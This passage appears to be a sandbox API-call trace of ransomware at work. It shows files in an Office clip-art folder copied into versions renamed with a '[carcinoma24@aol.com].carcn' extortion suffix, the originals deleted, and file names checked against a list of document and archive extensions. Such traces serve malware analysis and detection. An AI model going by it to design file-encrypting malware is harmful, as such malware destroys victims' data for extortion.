CloseHandle (hObject=0x334) returned 1 [0303.766] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.766] SetEndOfFile (hFile=0x37c) returned 1 [0303.767] CloseHandle (hObject=0x37c) returned 1 [0303.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0303.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.767] lstrlenW (lpString=".doc") returned 4 [0303.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString=".docx") returned 5 [0303.768] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0303.768] lstrlenW (lpString=".pdf") returned 4 [0303.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString=".xls") returned 4 [0303.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.768] lstrlenW (lpString=".xlsx") returned 5 [0303.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0303.768] lstrlenW (lpString=".ppt") returned 4 [0303.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.768] lstrlenW (lpString=".zip") returned 4 [0303.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.768] lstrlenW (lpString=".rar") returned 4 [0303.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString=".bz2") returned 4 [0303.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString=".7z") returned 3 [0303.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.768] lstrlenW (lpString=".dbf") returned 4 [0303.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.768] lstrlenW (lpString=".1cd") returned 4 [0303.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0303.768] lstrlenW (lpString=".jpg") returned 4 [0303.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.769] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.769] GetLastError () returned 0x0 [0303.769] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xd04, lpOverlapped=0x0) returned 1 [0303.770] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xd10, lpOverlapped=0x0) returned 1 [0303.771] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.771] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.771] SetEndOfFile (hFile=0x334) returned 1 [0303.771] CloseHandle (hObject=0x334) returned 1 [0303.771] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.771] SetEndOfFile (hFile=0x37c) returned 1 [0303.772] CloseHandle (hObject=0x37c) returned 1 [0303.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0303.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.773] lstrlenW (lpString=".doc") returned 4 [0303.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString=".docx") returned 5 [0303.773] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0303.773] lstrlenW (lpString=".pdf") returned 4 [0303.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString=".xls") returned 4 [0303.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.773] lstrlenW (lpString=".xlsx") returned 5 [0303.773] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0303.773] lstrlenW (lpString=".ppt") returned 4 [0303.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.773] lstrlenW (lpString=".zip") returned 4 [0303.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.773] lstrlenW (lpString=".rar") returned 4 [0303.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString=".bz2") returned 4 [0303.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString=".7z") returned 3 [0303.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.773] lstrlenW (lpString=".dbf") returned 4 [0303.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.773] lstrlenW (lpString=".1cd") returned 4 [0303.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0303.774] lstrlenW (lpString=".jpg") returned 4 [0303.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.774] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.774] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.774] GetLastError () returned 0x0 [0303.775] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5b0, lpOverlapped=0x0) returned 1 [0303.775] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0303.776] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.776] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.776] SetEndOfFile (hFile=0x334) returned 1 [0303.776] CloseHandle (hObject=0x334) returned 1 [0303.776] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.776] SetEndOfFile (hFile=0x37c) returned 1 [0303.777] CloseHandle (hObject=0x37c) returned 1 [0303.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString=".doc") returned 4 [0303.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString=".docx") returned 5 [0303.778] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0303.778] lstrlenW (lpString=".pdf") returned 4 [0303.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString=".xls") returned 4 [0303.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.778] lstrlenW (lpString=".xlsx") returned 5 [0303.778] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0303.778] lstrlenW (lpString=".ppt") returned 4 [0303.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString=".zip") returned 4 [0303.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.778] lstrlenW (lpString=".rar") returned 4 [0303.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString=".bz2") returned 4 [0303.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString=".7z") returned 3 [0303.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString=".dbf") returned 4 [0303.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString=".1cd") returned 4 [0303.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0303.778] lstrlenW (lpString=".jpg") returned 4 [0303.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.779] GetLastError () returned 0x0 [0303.779] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x14c2, lpOverlapped=0x0) returned 1 [0303.780] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x14d0, lpOverlapped=0x0) returned 1 [0303.781] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.781] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.781] SetEndOfFile (hFile=0x334) returned 1 [0303.781] CloseHandle (hObject=0x334) returned 1 [0303.781] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.781] SetEndOfFile (hFile=0x37c) returned 1 [0303.782] CloseHandle (hObject=0x37c) returned 1 [0303.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0303.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.782] lstrlenW (lpString=".doc") returned 4 [0303.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString=".docx") returned 5 [0303.783] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0303.783] lstrlenW (lpString=".pdf") returned 4 [0303.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString=".xls") returned 4 [0303.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.783] lstrlenW (lpString=".xlsx") returned 5 [0303.783] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0303.783] lstrlenW (lpString=".ppt") returned 4 [0303.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.783] lstrlenW (lpString=".zip") returned 4 [0303.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.783] lstrlenW (lpString=".rar") returned 4 [0303.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString=".bz2") returned 4 [0303.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString=".7z") returned 3 [0303.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.783] lstrlenW (lpString=".dbf") returned 4 [0303.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.783] lstrlenW (lpString=".1cd") returned 4 [0303.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0303.783] lstrlenW (lpString=".jpg") returned 4 [0303.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.783] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.784] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.784] GetLastError () returned 0x0 [0303.784] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1b16, lpOverlapped=0x0) returned 1 [0303.785] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0303.786] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.786] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.786] SetEndOfFile (hFile=0x334) returned 1 [0303.786] CloseHandle (hObject=0x334) returned 1 [0303.786] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.786] SetEndOfFile (hFile=0x37c) returned 1 [0303.787] CloseHandle (hObject=0x37c) returned 1 [0303.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString=".doc") returned 4 [0303.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString=".docx") returned 5 [0303.788] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0303.788] lstrlenW (lpString=".pdf") returned 4 [0303.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString=".xls") returned 4 [0303.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.788] lstrlenW (lpString=".xlsx") returned 5 [0303.788] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0303.788] lstrlenW (lpString=".ppt") returned 4 [0303.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString=".zip") returned 4 [0303.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.788] lstrlenW (lpString=".rar") returned 4 [0303.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString=".bz2") returned 4 [0303.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString=".7z") returned 3 [0303.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString=".dbf") returned 4 [0303.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString=".1cd") returned 4 [0303.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0303.788] lstrlenW (lpString=".jpg") returned 4 [0303.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0304.009] GetLastError () returned 0x0 [0304.009] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x559a, lpOverlapped=0x0) returned 1 [0304.058] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x55a0, lpOverlapped=0x0) returned 1 [0304.059] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.059] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.059] SetEndOfFile (hFile=0x370) returned 1 [0304.059] CloseHandle (hObject=0x370) returned 1 [0304.059] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.059] SetEndOfFile (hFile=0x380) returned 1 [0304.061] CloseHandle (hObject=0x380) returned 1 [0304.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0304.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.062] lstrlenW (lpString=".doc") returned 4 [0304.062] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.062] lstrlenW (lpString=".docx") returned 5 [0304.062] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0304.062] lstrlenW (lpString=".pdf") returned 4 [0304.062] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.062] lstrlenW (lpString=".xls") returned 4 [0304.062] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.062] lstrlenW (lpString=".xlsx") returned 5 [0304.062] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0304.062] lstrlenW (lpString=".ppt") returned 4 [0304.062] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.063] lstrlenW (lpString=".zip") returned 4 [0304.063] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.063] lstrlenW (lpString=".rar") returned 4 